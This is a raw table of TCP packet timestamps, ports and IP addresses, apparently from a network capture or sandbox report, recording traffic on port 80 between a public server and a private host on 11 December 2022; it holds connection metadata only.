Dec 11, 2022 09:25:54.057199001 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057240963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057282925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057306051 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057327032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057354927 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057368994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057410955 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057451963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057492018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057517052 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057535887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057576895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057620049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057641029 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057662010 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057687044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057703972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057748079 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057790041 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057811022 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057831049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057842016 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.057873964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057915926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057956934 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.057974100 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058003902 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058047056 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058088064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058105946 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058130026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058171988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058212042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058231115 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058253050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058295965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058310986 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058339119 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058379889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058396101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058422089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058463097 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058476925 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058506012 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058548927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058561087 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058592081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058634043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058654070 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058676958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058718920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.058733940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.058936119 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.078671932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.078771114 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.079550028 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.079598904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.079643011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.079679966 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.079689026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.079720974 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.079746962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.080394030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.080440044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.080471992 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.080482960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.080517054 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.080837011 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.099189997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.099451065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.099479914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.099524975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.099539042 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.099627972 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.099627972 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.100007057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.100871086 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.100915909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.100959063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.101001024 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.101010084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.101044893 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.101049900 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.101069927 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.101093054 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.101161957 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.119596958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119661093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119705915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119730949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.119749069 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119776964 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.119776964 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.119792938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119838953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119848967 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.119880915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.119950056 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.120892048 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.120939970 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.120984077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121005058 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.121027946 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121062040 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.121083975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121107101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121125937 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.121153116 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121161938 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.121197939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121241093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121257067 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.121285915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121330023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.121346951 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.121506929 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.139949083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.140075922 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.384916067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.385041952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.856865883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.857249022 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.922132015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942106962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942142010 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942193031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942222118 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942226887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942262888 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942305088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942338943 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942338943 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942372084 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942372084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942405939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942425966 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942439079 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942472935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942500114 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942504883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942538023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942579985 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942600965 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.942612886 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.942645073 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.962474108 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962516069 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962564945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962599039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962634087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962634087 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.962668896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962694883 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.962704897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962726116 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.962738991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962774038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962816954 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962840080 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.962850094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962917089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962954998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962989092 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.962996006 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.963035107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963043928 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.963057041 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963077068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963095903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963114023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.963124990 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963145971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963171005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963191032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963215113 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.963217020 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963237047 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963262081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963280916 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963305950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963320017 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.963325977 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.963376045 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.963401079 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983403921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983444929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983474016 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983477116 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983503103 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983532906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983541012 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983563900 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983591080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983624935 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983635902 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983659029 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983665943 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983695030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983731031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983761072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983771086 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983789921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983802080 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983822107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983850956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983856916 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983880997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983908892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983918905 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983938932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983968973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.983972073 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.983999968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984028101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984036922 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984056950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984086990 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984116077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984116077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984143972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984168053 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984172106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984200001 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984217882 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984241009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984266043 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984268904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984297991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984334946 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984359026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984364033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984392881 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984414101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984426022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984455109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984477043 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984483957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984513998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984527111 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984541893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984576941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984606028 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984608889 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984636068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984657049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984668016 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984697104 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984709024 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984724998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984761953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984790087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984824896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984831095 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984853983 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984869957 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984885931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984900951 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984914064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984941959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.984949112 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.984971046 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985008955 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985038042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985053062 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.985065937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985086918 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.985102892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985131979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985136032 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:54.985162020 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:54.985198021 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005122900 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005193949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005215883 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005229950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005266905 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005299091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005331993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005338907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005366087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005388975 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005399942 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005434036 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005445004 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005467892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005501986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005506039 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005537033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005556107 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005570889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005603075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005636930 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005647898 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005670071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005703926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005705118 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005748987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005779982 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005783081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005816936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005860090 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005884886 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005896091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005929947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005961895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.005979061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.005995989 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006001949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006030083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006063938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006108999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006131887 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006160975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006233931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006241083 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006274939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006310940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006342888 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006344080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006377935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006419897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006454945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006491899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006499052 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006521940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006555080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006570101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006588936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006618977 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006623030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006658077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006690979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006702900 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006726027 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006758928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006793976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006827116 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:55.006829977 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:55.006829977 CET	49719	80	192.168.2.3	131.188.40.189
